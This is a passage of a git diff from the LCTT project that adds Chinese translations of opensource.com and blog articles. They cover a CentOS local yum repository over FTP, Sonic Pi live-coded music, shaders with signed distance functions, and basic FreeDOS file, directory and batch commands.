复选框,然后单击左上角的 “完成Done”。 + +在 “软件选择Software Selection” 下,选中 “基础设施服务器Infrastructure Server” ,选中 “FTP 服务器FTP Server” 复选框,然后单击 “完成Done”。 + +![Installing a CentOS homelab][8] + +选择 “网络和主机名Network and Host Name”,启用右上方的 “以太网Ethernet” ,然后单击左上角的 “完成Done”。 + +单击 “开始安装Begin Installation” 开始安装操作系统。 + +在安装时务必设置一个 root 密码,就可以创建一个带有密码的用户。 + +### 2、启动 FTP 服务 + +下一步是启动并设置 FTP 服务以运行并允许它通过防火墙。 + +用 root 密码登录,然后启动 FTP 服务器: + +``` +systemctl start vsftpd +``` + +允许它在每次启动时都能工作: + +``` +systemctl enable vsftpd +``` + +设置防火墙允许通过的端口: + +``` +firewall-cmd --add-service=ftp --perm +``` + +立即启用此更改: + +``` +firewall-cmd --reload +``` + +获取你的 IP 地址: + +``` +ip a +``` + +(可能是 `eth0`),在之后会用到。 + +### 3、复制本地存储库中的文件 + +通过虚拟化软件将安装 CD 挂载到虚拟机。 + +创建待挂载光盘的临时目录: + +``` +mkdir /root/temp +``` + +挂载安装 CD: + +``` +mount /dev/cdrom /root/temp +``` + +将所有文件复制到 FTP 服务器目录下: + +``` +rsync -avhP /root/temp/ /var/ftp/pub/ +``` + +### 4、将服务器指向本地存储库 + +基于 Red hat 的系统使用以 `repo` 结尾的文件来确定从哪里获得软件更新和新的软件。这些文件在以下路径 + +``` +cd /etc/yum.repos.d +``` + +你需要摆脱那些使你的服务器在互联网上寻找 CentOS 存储库的存储库文件。可以把它们复制到根目录下保存起来: + +``` +mv * ~ +``` + +然后创建一个新的存储库文件来指向你的服务器。使用常用的文本编辑器创建一个名为 `network.repo` 文件,输入以下内容(将 `` 替换为在步骤 2 中获得的 IP 地址),然后保存: + +``` +[network] +name=network +baseurl=ftp://192.168.122./pub +gpgcheck=0 +``` + +完成后,可以用下面的命令来测试: + +``` +yum clean all; yum install ftp +``` + +如果 FTP 客户端按照预期从 “network” 存储库安装,那么本地仓库就已经设置好了! + +![Installing a CentOS homelab][9] + +### 5、使用你设置的存储库安装一个新的虚拟机 + +回到虚拟机管理器,并创建另一个虚拟机。但这一次,选择 “网络安装Network Install”, URL 为: + +``` +ftp://192.168.122./pub +``` + +如果你使用的是不同的宿主机操作系统或虚拟管理器,像前面一样安装虚拟机,并进行下一步。 + +### 6、将新的虚拟机设置为使用现有的“network”存储库 + +你可以从现有服务器复制存储库文件到这里使用。 + +和第一个服务器示例一样,输入: + +``` +cd /etc/yum.repos.d +mv * ~ +``` + +然后: + +``` +scp root@192.168.122.:/etc/yum.repos.d/network.repo /etc/yum.repos.d +``` + +现在可以使用新的虚拟机并从本地存储库获取所有软件了。 + +再测试一遍: + +``` +yum clean all; yum install screen +``` + +这将从本地存储服务器安装软件。 + +这种设置,让你能够脱离网络安装软件,创建一个更可靠的环境,扩展你的技能。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/19/6/create-centos-homelab-hour + +作者:[Bob Murphy][a] +选题:[lujun9972][b] +译者:[JaphiaChen](https://github.com/JaphiaChen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/murph +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_data_dashboard_system_computer_analytics.png?itok=oxAeIEI- (metrics and data shown on a computer screen) +[2]: https://opensource.com/article/19/3/home-lab +[3]: https://getfedora.org/ +[4]: https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine +[5]: https://virt-manager.org/ +[6]: https://www.centos.org/download/ +[7]: https://opensource.com/sites/default/files/uploads/homelab-3b_0.png (Installing a CentOS homelab) +[8]: https://opensource.com/sites/default/files/uploads/homelab-5b.png (Installing a CentOS homelab) +[9]: https://opensource.com/sites/default/files/uploads/homelab-14b.png (Installing a CentOS homelab) +[10]: https://opensource.com/article/17/3/introduction-gnu-screen +[11]: https://southeastlinuxfest.org/ diff --git a/published/202112/20200307 Compose music as code using Sonic Pi.md b/published/202112/20200307 Compose music as code using Sonic Pi.md new file mode 100644 index 0000000000..d227c83044 --- /dev/null +++ b/published/202112/20200307 Compose music as code using Sonic Pi.md @@ -0,0 +1,124 @@ +[#]: collector: (lujun9972) +[#]: translator: (geekpi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14077-1.html) +[#]: subject: (Compose music as code using Sonic Pi) +[#]: via: (https://opensource.com/article/20/3/sonic-pi) +[#]: author: (Matt Bargenquast https://opensource.com/users/mbargenquast) + +使用 Sonic Pi 像写代码一样编曲 +====== + +> 有了这个易于使用的开源程序,不需要掌握乐器,就可以把你变成一个音乐大师。 + +![](https://img.linux.net.cn/data/attachment/album/202112/13/095540zigm4pzopgrdevvz.jpg) + +也许你和我一样,在上学的时候学过一种乐器。对我来说,那是钢琴,后来是中提琴。然而,我一直认为,随着我童年的兴趣转向计算机和编码,我后来忽略了音乐练习。我确实想知道,如果我年轻时有 Sonic Pi 这样的东西,我会怎么样。Sonic Pi 是一个开源程序,可以让你通过代码来创作和演奏音乐。它是这两个世界的完美结合。 + +我们对 Sonic Pi 并不陌生,早在 2015 年就对其创造者 Sam Aaron 博士 [进行了采访][2]。从那时起,Sonic Pi 在很多方面都有了很大的发展。它达到了一个重要的新版本里程碑,期待已久的 v3.2 版本已于 2020 年 2 月 28 日公开发布。一个不断壮大的开发者社区正积极为其 [GitHub 项目][3] 做出贡献,而在 [官方论坛][4] 中有一个同样繁荣的作曲家社区可以分享想法和提供支持。该项目现在还通过 [赞助活动][5] 获得了资金支持,而 Sam 本人也在世界各地的学校、会议和研讨会中传播 Sonic Pi 的信息。 + +Sonic Pi 真正的闪光点在于它的平易近人。它的版本适用于许多主要的操作系统,包括 Windows、macOS、Linux,当然也包括树莓派本身。事实上,在树莓派上学习使用 Sonic Pi 再简单不过了。它预装在 [Raspbian][6] 中,所以如果你有一个基于 Raspbian 的现有环境,你会发现它位于编程菜单中。 + +第一次加载 Sonic Pi 时,你会看到一个简单的界面,有两个主要的区域:一个编辑器,可以写你的代码,还有一个区域专用于 Sonic Pi 丰富的教程。对于新手来说,教程是学习基础知识的重要资源,它有配套的音乐程序来巩固所学的每个概念。 + +如果你跟着学习,让我们为自己编写一段简单的音乐,探索现场编码音乐的潜力。将以下代码输入或粘贴到 Sonic Pi 编辑器中: + +``` +live_loop :beat do + sample :drum_heavy_kick + sleep 1 +end +``` + +即使你是一个 Sonic Pi 的新手,许多程序员可能马上就会明白这里发生了什么。我们正在播放一个踏板鼓drum kick采样,停止一秒钟,然后重复。点击运行按钮或按 `ALT+R`(macOS 上为 `meta+R`),你应该听到它开始播放。 + +这不是一首非常激动人心的歌曲,所以让我们用一个在不合拍的小鼓snare来使它生动起来。用下面的代码块替换现有的代码,然后再次运行。你可以在做这个的时候让现有的节拍继续播放;你会注意到你的改动会自然地应用,与节拍同步: + +``` +live_loop :beat do + sample :drum_heavy_kick + sleep 0.5 + sample :drum_snare_soft + sleep 0.5 +end +``` + +我们在做这个的时候,让我们在每四拍之前添加一个踩镲hi-hat,让声音变得有趣一些。在现有的程序块下面添加新的程序块,然后再次运行: + +``` +live_loop :hihat do + sleep 3.9 + sample :drum_cymbal_closed + sleep 0.1 +end +``` + +我们现在已经有了我们的节拍,所以让我们来添加一个低音声线bassline!Sonic Pi 内置了各种合成器,还有混响和失真等效果滤波器。我们将使用 “dsaw” 和 “tech_saw” 合成器的组合,使其具有电子复古合成器的感觉。将下面的块添加到你现有的程序中,运行,并听一听: + +``` +live_loop :bass do + use_synth :dsaw + play :a2, attack: 1, release: 2, amp: 0.3 + sleep 2.5 + use_synth :tech_saws + play :a1, attack: 1, release: 1.5, amp: 0.8 + sleep 1.5 +end +``` + +你会注意到上面的内容,当播放音符时,我们可以完全控制 [ADSR][7] 包络envelope,所以我们可以决定每个声音何时达到峰值和衰减。 + +最后,让我们添加一个主音合成器lead synth,试试那些被称为“切片器slicer”的效果特征。为了使事情更有趣,我们还将引入一个伪随机的元素,让 Sonic Pi 从一系列潜在的和弦chord中挑选。这就是一些有趣的即兴创作和“快乐的意外”可以开始发生的地方。在你现有的程序中加入下面的程序块并运行: + +``` +live_loop :lead do + with_fx :slicer do + chords = [(chord :A4, :minor7), (chord :A4, :minor), (chord :D4, :minor7), (chord :F4, :major7)] + use_synth :blade + play chords.choose, attack: 1, release: 2, amp: 1 + sleep 2 + end +end +``` + +很好!现在,我们当然不会很快与 Daft Punk 竞争,但希望通过这个过程,你已经看到我们如何通过添加一些简单的代码,实时地从一个单一节拍变成更大的东西。YouTube 上 Sam Aaron 的 [现场编码表演][8] 非常值得一看,它展示了 Sonic Pi 可以让你有多大的创造力和适应力。 + +![Sonic Pi composition example][9] + +*我们完成的作品,完整版* + +如果你曾经想学习一种乐器,但又觉得被“我没有节奏感”或“我的手不够灵活”这样的想法所束缚,Sonic Pi 是一种多功能的乐器,这些都不重要。你所需要的只是想法和灵感,以及一台便宜的电脑,如简陋的树莓派。其余的都在你的指尖上(实际意义上的)。 + +这里有几个方便的链接可以让你开始: + + * 官方 Sonic Pi [网站][10] 和 [教程][11] + * [Sonic Pi 入门][12] + * Sonic Pi 的 [GitHub 项目][3] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/3/sonic-pi + +作者:[Matt Bargenquast][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mbargenquast +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/music-birds-recording-520.png?itok=UoM7brl0 (Bird singing and music notes) +[2]: https://opensource.com/life/15/10/interview-sam-aaron-sonic-pi +[3]: https://github.com/samaaron/sonic-pi/ +[4]: https://in-thread.sonic-pi.net/ +[5]: https://www.patreon.com/samaaron +[6]: https://www.raspberrypi.org/downloads/raspbian/ +[7]: https://en.wikipedia.org/wiki/Envelope_(music) +[8]: https://www.youtube.com/watch?v=JEHpS1aTKp0 +[9]: https://opensource.com/sites/default/files/uploads/sonicpi.png (Sonic Pi composition example) +[10]: https://sonic-pi.net/ +[11]: https://sonic-pi.net/tutorial.html +[12]: https://projects.raspberrypi.org/en/projects/getting-started-with-sonic-pi +[13]: http://projects.raspberrypi.org diff --git a/published/202112/20200315 Getting started with shaders- signed distance functions.md b/published/202112/20200315 Getting started with shaders- signed distance functions.md new file mode 100644 index 0000000000..3026f1a1bc --- /dev/null +++ b/published/202112/20200315 Getting started with shaders- signed distance functions.md @@ -0,0 +1,234 @@ +[#]: collector: (lujun9972) +[#]: translator: (Starryi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14107-1.html) +[#]: subject: (Getting started with shaders: signed distance functions!) +[#]: via: (https://jvns.ca/blog/2020/03/15/writing-shaders-with-signed-distance-functions/) +[#]: author: (Julia Evans https://jvns.ca/) + +着色器入门:符号距离函数! +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/22/162653fn58ajqa6d65e8f5.jpg) + +大家好!不久前我学会了如何使用着色器制作有趣的闪亮旋转八面体: + +![][1] + +我的着色器能力仍然非常基础,但事实证明制作这个有趣的旋转八面体比我想象中要容易得多(从其他人那里复制了很多代码片段!)。 + +我在做这件事时, 从一个非常有趣的叫做 [符号距离函数教程:盒子和气球][2] 的教程中学到了“符号距离函数”的重要思路。 + +在本文中,我将介绍我用来学习编写简单着色器的步骤,并努力让你们相信着色器并不难入门! + +### 更高级着色器的示例 + +如果你还没有看过用着色器做的真正有趣的事情,这里有几个例子: + + 1. 这个非常复杂的着色器就像一条河流的真实视频: + 2. 一个更抽象(更短!)有趣的着色器,它有很多发光的圆圈: + +### 步骤一:我的第一个着色器 + +我知道你可以在 shadertoy 上制作着色器,所以我去了 。它们提供了一个默认着色器,如下图所示: + +![][3] + +代码如下: + +``` +void mainImage( out vec4 fragColor, in vec2 fragCoord ) +{ + // 规范像素坐标 (从 0 到 1) + vec2 uv = fragCoord / iResolution.xy; + + // 随时间改变像素颜色 + vec3 col = 0.5 + 0.5 * cos(iTime + uv.xyx + vec3(0, 2, 4)); + + // 输出到屏幕 + fragColor = vec4(col, 1.0); +} +``` + +虽然还没有做什么令人兴奋的事情,但它已经教会了我着色器程序的基本结构! + +### 思路:将一对坐标(和时间)映射到一个颜色 + +这里的思路是获得一对坐标作为输入(`fragCoord`),你需要输出一个 RGBA 向量作为此坐标的颜色。该函数也可以使用当前时间(`iTime`),图像从而可以随时间变化。 + +这种编程模型(将一对坐标和时间映射到其中)的巧妙之处在于,它非常容易并行化。我对 GPU 了解不多,但我的理解是,这种任务(一次执行 10000 个微不足道的可并行计算)正是 GPU 擅长的事情。 + +### 步骤二:使用 `shadertoy-render` 加快开发迭代 + +玩了一段时间的 shadertoy 之后,我厌倦了每次保存我的着色器时都必须在 shadertoy 网站上单击“重新编译”。 + +我找到了一个名为 [shadertoy-render][4] 命令行工具,它会在每次保存时实时查看文件并更新动画。现在我可以运行: + +``` +shadertoy-render.py circle.glsl +``` + +并更快地开发迭代! + +### 步骤三:画一个圆圈 + +接下来我想 —— 我擅长数学!我可以用一些基本的三角学来画一个会弹跳的彩虹圈! + +我知道圆的方程为(`x^2 + y^2 = 任意正数`!),所以我写了一些代码来实现它: + +![][5] + +代码如下:(你也可以 [在 shadertoy 上查看][6]) + +``` +void mainImage( out vec4 fragColor, in vec2 fragCoord ) +{ + // 规范像素坐标 (从 0 到 1) + vec2 uv = fragCoord / iResolution.xy; + // 绘制一个中心位置依赖于时间的圆 + vec2 shifted = uv - vec2((sin(iGlobalTime) + 1) / 2, (1 + cos(iGlobalTime)) / 2); + if (dot(shifted, shifted) < 0.03) { + // 改变像素颜色 + vec3 col = 0.5 + 0.5 * cos(iGlobalTime + uv.xyx + vec3(0, 2, 4)); + fragColor = vec4(col, 1.0); + } else { + // 使圆之外的其他像素都是黑色 + fragColor = vec4(0,0, 0, 1.0); + } +} +``` + +代码将坐标向量 `fragCoord` 与自身点积,这与计算 `x^2 + y^2` 相同。我还在这个圆圈的中心玩了一点花活 – 圆心为 `vec2((sin(iGlobalTime) + 1)/ 2,(1 + cos(faster)) / 2`,这意味着圆心也随着时间沿另一个圆移动。 + +### 着色器是一种学习数学的有趣方式! + +我觉得有意思的(即使我们没有做任何超级高级的事情!)是这些着色器为我们提供了一种有趣的可视化方式学习数学 - 我用 `sin` 和 `cos` 来使某些东西沿着圆移动,如果你想更直观地了解三角函数的工作方式, 也许编写着色器会是一种有趣的方法! + +我喜欢的是,可以获得有关数学代码的即时视觉反馈 - 如果你把一些东西乘以 2,图像里的东西会变得更大!或更小!或更快!或更慢!或更红! + +### 但是我们如何做一些真正有趣的事情呢? + +这个会弹跳的圆圈很好,但它与我见过的其他人使用着色器所做的非常奇特的事情相去甚远。那么下一步要做什么呢? + +### 思路:不要使用 if 语句,而是使用符号距离函数! + +在我上面的圆圈代码中,我基本上是这样写的: + +``` +if (dot(uv, uv) < 0.03) { + // 圆里的代码 +} else { + // 圆外的代码 +} +``` + +但问题(也是我感到卡住的原因)是不清楚如何将它推广到更复杂的形状!编写大量的 `if` 语句似乎不太好用。那人们要如何渲染这些 3d 形状呢? + +所以!符号距离函数Signed distance function 是定义形状的另一种方式。不是使用硬编码的 `if` 语句,而是定义一个 **函数**,该函数告诉你,对于世界上的任何一个点,该点与你的形状有多远。比如,下面是球体的符号距离函数。 + +``` +float sdSphere( vec3 p, float center ) +{ + return length(p) - center; +} +``` + +符号距离函数非常棒,因为它们: + + * 易于定义! + * 易于组合!如果你想要一个被切去一块的球体, 你可以用一些简单的数学来计算并集/交集/差集。 + * 易于旋转/拉伸/弯曲! + +### 制作旋转陀螺的步骤 + +当我开始时,我不明白需要编写什么代码来制作一个闪亮的旋转东西。结果表明如下是基本步骤: + + 1. 为想要的形状创建一个符号距离函数(在我的例子里是八面体) + 2. 光线追踪符号距离函数,以便可以在 2D 图片中显示它(或沿光线行进?我使用的教程称之为光线追踪,我还不明白光线追踪和光线行进之间的区别) + 3. 编写代码处理形状的表面纹理并使其发光 + +我不打算在本文中详细解释符号距离函数或光线追踪,因为我发现这个 [关于符号距离函数的神奇教程][2] 非常友好,老实说,它比我做的更好,它解释了如何执行上述 3 个步骤,并且代码有大量的注释,非常棒。 + + * 该教程名为“符号距离函数教程:盒子和气球”,它在这里: + * 这里有大量符号距离函数,你可以将其复制粘贴到代码中(以及组合它们以制作其他形状的方法): + +### 步骤四:复制教程代码并开始更改内容 + +我在这里使用了久负盛名的编程实践,即“复制代码并以混乱的方式更改内容,直到得到我想要的结果”。 + +最后一堆闪亮的旋转八面体着色器在这里: + +动画出来的样子是这样的: + +![][7] + +为了做到这一点,我基本上只是复制了关于符号距离函数的教程,该函数根据符号距离函数呈现形状,并且: + + * 将 `sdfBalloon` 更改为 `sdfOctahedron`,并使八面体旋转而不是在我的符号距离函数中静止不动 + * 修改 `doBalloonColor` 着色功能,使其有光泽 + * 有很多八面体而不是一个 + +### 使八面体旋转! + +下面是我用来使八面体旋转的代码!事实证明这真的很简单:首先从 [这个页面][8] 复制一个八面体符号距离函数,然后添加一个 `rotate` 使其根据时间旋转,然后它就可以旋转了! + +``` +vec2 sdfOctahedron( vec3 currentRayPosition, vec3 offset ){ + vec3 p = rotate((currentRayPosition), offset.xy, iTime * 3.0) - offset; + float s = 0.1; // s 是啥? + p = abs(p); + float distance = (p.x + p.y + p.z - s) * 0.57735027; + float id = 1.0; + return vec2( distance, id ); +} +``` + +### 用一些噪音让它发光 + +我想做的另一件事是让我的形状看起来闪闪发光/有光泽。我使用了在 [这个 GitHub gist][9] 中找到的噪声函数使表面看起来有纹理。 + +以下是我如何使用噪声函数的代码。基本上,我只是随机地将参数更改为噪声函数(乘以 2?3?1800?随你!),直到得到喜欢的效果。 + +``` +float x = noise(rotate(positionOfHit, vec2(0, 0), iGlobalTime * 3.0).xy * 1800.0); +float x2 = noise(lightDirection.xy * 400.0); +float y = min(max(x, 0.0), 1.0); +float y2 = min(max(x2, 0.0), 1.0); +vec3 balloonColor = vec3(y, y + y2, y + y2); +``` + +## 编写着色器很有趣! + +上面就是全部的步骤了!让这个八面体旋转并闪闪发光使我很开心。如果你也想用着色器制作有趣的动画,希望本文能帮助你制作出很酷的东西! + +通常对于不太了解的主题,我可能在文章中说了至少一件关于着色器的错误事情,请让我知道错误是什么! + +再说一遍,如下是我用到的两个资源: + + 1. “符号距离函数教程:盒子和气球”:(修改和玩起来真的很有趣) + 2. 可以将大量符号距离函数复制并粘贴到你的代码中: + + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2020/03/15/writing-shaders-with-signed-distance-functions/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[Starryi](https://github.com/Starryi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://jvns.ca/images/spinny.gif +[2]: https://www.shadertoy.com/view/Xl2XWt +[3]: https://jvns.ca/images/colour.gif +[4]: https://github.com/alexjc/shadertoy-render +[5]: https://jvns.ca/images/circle.gif +[6]: https://www.shadertoy.com/view/tsscR4 +[7]: https://jvns.ca/images/octahedron2.gif +[8]: http://www.iquilezles.org/www/articles/distfunctions/distfunctions.htm +[9]: https://gist.github.com/patriciogonzalezvivo/670c22f3966e662d2f83 diff --git a/published/202112/20210403 FreeDOS commands you need to know.md b/published/202112/20210403 FreeDOS commands you need to know.md new file mode 100644 index 0000000000..d76fa70900 --- /dev/null +++ b/published/202112/20210403 FreeDOS commands you need to know.md @@ -0,0 +1,151 @@ +[#]: subject: (FreeDOS commands you need to know) +[#]: via: (https://opensource.com/article/21/4/freedos-commands) +[#]: author: (Kevin O'Brien https://opensource.com/users/ahuka) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14074-1.html) + +FreeDOS 操作目录和文件的基本命令 +====== + +> 学习如何在 FreeDOS 中对目录和文件执行创建、移除、复制等任务。 + +![](https://img.linux.net.cn/data/attachment/album/202112/12/100340gffegjttbn0n7iox.jpg) + +DOS 的开源实现 [FreeDOS][2] 提供了一个轻量级的操作系统,可以在现代硬件(或模拟器)上用于运行历史遗留下来的应用程序,可以更新硬件供应商不兼容于 Linux 的固件闪存。熟悉 FreeDOS 不仅是一种对旧计算机时代的有趣考古,也是一种获取有用的计算机技能的投入。在这篇文章中,我将介绍一些在 FreeDOS 系统上工作所需要知道的基本命令。 + +### 基本的命令和文件命令 + +FreeDOS 在硬盘驱动器上使用目录来组织文件。这意味着你需要使用目录命令来创建一个结构,用于存储和查找你在其中存储的文件。你所需要的用于管理目录结构的命令有: + + * `MD` (或 `MKDIR`) 创建一个新的目录或子目录。 + * `RD` (或 `RMDIR`) 移除(删除) 一个目录或子目录。 + * `CD` (或 `CHDIR`) 从当前工作目录更改到另一个命令。 + * `DELTREE` 删除一个目录,包括其包含的任意文件或子目录。 + * `DIR` 列出当前工作目录的内容。 + +因为使用目录是 FreeDOS 的主要工作,所有的这些命令(除 DELTREE 以外)是包含在 `COMMAND.COM` 中的内部命令。因此,它们将被加载到内存之中,并在你启动(即使是从启动盘启动)时随时可用。前三个命令有两个版本:一个版本是两个字母的短名,一个版本是长名。在实践中没有区别,因此,我将在这篇文章中使用短名。 + +### 使用 MD 创建一个目录 + +FreeDOS 的 `MD` 命令会创建一个新的目录或子目录。(实际上,由于 `\` 是根目录,从技术上讲,所有的目录都是子目录,因此,我更喜欢在所有的示例中使用“子目录”的说法)。有一个可选的参数是你所想要创建目录的路径,但是如果不包含路径,将在当前工作子目录中创建子目录。 + +例如,为在你的当前位置创建一个名称为 `letters` 的子目录: + +``` +C:\HOME\>MD LETTERS +``` + +这会创建子目录 `C:\letters` 。 + +通过包含一个路径,你可以在任意位置创建一个子目录: + +``` +C:\>MD C:\HOME\LETTERS\LOVE +``` + +这和先移动到 `C:\HOME\LETTERS` ,然后在其中创建一个子目录的结果相同: + +``` +C:\CD HOME\LETTERS +C:\HOME\LETTERS\>MD LOVE +C:\HOME\LETTERS\>DIR +LOVE +``` + +一个路径描述不能超过 63 个字符,包括反斜杠在内。 + +### 使用 RD 移除一个目录 + +FreeDOS 的 `RD` 命令会移除一个子目录。这个子目录必须是空的。如果它包含文件或其它是子目录,你将会得到错误信息。它也有一个可选的路径参数,语法与 `MD` 的相同。 + +你不能移除你的当前工作子目录。为移除此目录,你必须 `CD` 到其父目录,然后再移除不需要的子目录。 + +### 使用 DELTREE 删除文件和目录 + +`RD` 命令可能会让人有点迷糊,因为在该命令中内置了保护 FreeDOS 的措施。例如,你不能删除一个包含内容的子目录是一种安全措施。`DELTREE` 就是解决方案。 + +`DELTREE` 命令会删除整个子目录“树”(子目录)、其包含的所有的文件,以及其包含的所有的子目录及其包含的所有的文件等等,上述的一切都在一个简单的命令中完成。有时,它可能有点 _太_ 容易了,因为它可以如此快速地擦除数据。它是忽略文件属性的,因此你可以擦除隐藏、只读,和未知的系统文件。 + +你甚至可以在命令中具体指定多个目录树来擦除它们。这条命令将在一个命令中擦除这两个目录中的所有子目录: + +``` +C:\>DELTREE C:\FOO C:\BAR +``` + +这是那些使用前需要三思的命令中的其中一个。毫无疑问,它自然有其价值。我仍然对转到每个子目录,删除个别文件,检查每个子目录的内容,一次删除一个子目录, 然后再跳转到上一层目录,重复上述过程的乏味而记忆犹新。`DELTREE` 在你需要时是非常省时。但是我从不会将其用于日常维护,因为一此失误都能造成重大的损失。 + +### 格式化一个硬盘驱动器 + +`FORMAT` 命令也可以用于准备一个空白的硬盘驱动器来将文件写入其中。这将格式化 `D:` 驱动器: + +``` +C:\>FORMAT D: +``` + +### 复制文件 + +`COPY` 命令,顾名思义,将文件从一个位置复制到另一个位置。所需要的参数是:将要被复制的文件、要将其复制到的路径和文件。开关选项包含: + + * `/Y` 当一个文件要被覆盖时,避免出现提示。 + * `/-Y` 当一个文件要被覆盖时,需要出现提示。 + * `/V` 验证副本的内容。 + +这将从 `C:` 上的工作目录中复制文件 `MYFILE.TXT` 到 `D:` 驱动器的根目录,并将其重命名为 `EXAMPLE.TXT` : + +``` +C:\>COPY MYFILE.TXT D:\EXAMPLE.TXT +``` + +这将从 `C:` 上的工作目录中复制文件 `EXAMPLE.TXT` 到 `C:\DOCS\` 目录,接下来验证文件的内容来确保副本是完整的: + +``` +C:\>COPY EXAMPLE.TXT C:\DOCS\EXAMPLE.TXT /V +``` + +你也可以使用 `COPY` 命名来合并和追加文件。这个命令将合并两个文件 `MYFILE1.TXT` 和 `MYFILE2.TXT` ,并将其放置到一个新的名称为 `MYFILE3.TXT` 的文件之中: + +``` +C:\>COPY MYFILE1.TXT+MYFILE2.TXT MYFILE3.TXT +``` + +### 使用 XCOPY 复制目录 + +`XCOPY` 命令将复制整个目录以及它们的所有的子目录和这些子目录中包含的所有的文件。参数是将要复制的文件和其路径,以及将要复制到的目的地。重要的开关选项是: + + * `/S` 复制当前目录及其子目录中的所有文件。 + * `/E` 复制子目录,即使它们是空的。这个选项必须和 `/S` 一起使用。 + * `/V` 验证其所制作的副本。 + +这是一个非常强大和有用的命令,尤其是用于备份目录或整个硬盘驱动器。 + +这个命令将复制目录 `C:\DOCS` 的全部内容,包括所有的子目录及其内容(除了空的子目录以外),并将其放置到驱动器 `D:` 的目录 `D:\BACKUP\DOCS\` 之中: + +``` +C:\>XCOPY C:\DOCS D:\BACKUP\DOCS\ /S +``` + +### 使用 FreeDOS + +FreeDOS 是一个有趣的、轻量的、开源的操作系统。不管你正在使用它来更新你的主板的固件,还是给予旧计算机新生,它都能提供很多有用的实用程序,可以使你能够很好地使用它工作。学习 FreeDOS 的基本知识。你都可能会被它的多才多艺所惊讶。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/freedos-commands + +作者:[Kevin O'Brien][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ahuka +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) +[2]: https://www.freedos.org/ +[3]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-8-format-copy-diskcopy-xcopy/ +[4]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-10-directory-commands/ +[5]: https://allaboutdosdirectoires.blogspot.com/ diff --git a/published/202112/20210407 Get started with batch files in FreeDOS.md b/published/202112/20210407 Get started with batch files in FreeDOS.md new file mode 100644 index 0000000000..c61729d265 --- /dev/null +++ b/published/202112/20210407 Get started with batch files in FreeDOS.md @@ -0,0 +1,205 @@ +[#]: subject: (Get started with batch files in FreeDOS) +[#]: via: (https://opensource.com/article/21/3/batch-files-freedos) +[#]: author: (Kevin O'Brien https://opensource.com/users/ahuka) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14111-1.html) + +在 FreeDOS 中使用批处理文件 +====== + +> 编写你自己的简单程序来自动执行通常需要大量输入的任务的批处理文件,是一种极好的方法。 + +![](https://img.linux.net.cn/data/attachment/album/202112/24/102751sldikuebf7z4u64l.jpg) + +在 Linux 上,创建 _shell 脚本_ 来自动执行重复的任务是很常见的。类似地,在开源版的旧式 DOS 操作系统 [FreeDOS][2] 上,你可以创建一个包含数个 FreeDOS 命令的 _批处理文件_ 。然后,你就可以运行你的批处理文件来按顺序执行每个命令。 + +你可以使用一个 ASCII 文本编辑器来创建批处理文件,诸如 FeeDOS 的 Edit 应用程序。在你创建一个批处理文件后,你可以使用一个文件名称加上扩展名 `.bat` 来保存它。文件名称应该是唯一的。如果你使用 FreeDOS 的一个命令的名称作为你自己的文件名称,那么可能将会执行 FreeDOS 的命令,而不会是你的批处理文件。 + +实际上,所有的内部的和外部的 FreeDOS 命令都可以在一个批处理文件中使用。在你创建一个批处理文件时,你其实就是在编写一个程序。FreeDOS 批处理文件可能没有结构化编程语言的功能,但是对于耗时短暂却重复乏味的任务来说,它是非常方便的。 + +### 注释你的代码 + +对于任何程序员来说,学习的第一个好习惯都应该是:在一个程序中放置注释来解释该代码正在做什么。这是一件非常容易完成的事情,但是你需要仔细,不要傻傻地让操作系统来执行你的注释。避免出现这种情况的方法是在一个注释行的开头处放置 `REM`(“remark” 的缩写) 。 + +FreeDOS 忽略以 `REM` 开头的代码行。但是任何查看源文件代码(即你在你的批处理文件中所编写的文本)的人都可以读取你的注释并理解它在做什么。这也是一种临时性禁用一个命令而不需要删除它的一种方法。只需要打开你的批处理文件来进行编辑,在你想要禁用行的开头处放置 `REM` ,并保存它。在你想要重新启用这个命令时,只需要打开文件来进行编辑和移除 `REM` 。这种技巧有时被称为 “注释掉” 一个命令。 + +### 开始设置 + +在你开始编写你自己的批处理文件前,我建议在 FreeDOS 中创建一个临时目录。这将会为你提供一个处理批处理文件的安全空间,不会意外地删除、移动,或重命名重要的系统文件或目录。在 FreeDOS 上,你可以使用 `MD` 命令来 [创建一个目录][3] : + +``` +C:\>MD TEMP +C:\>CD TEMP +C:\TEMP> 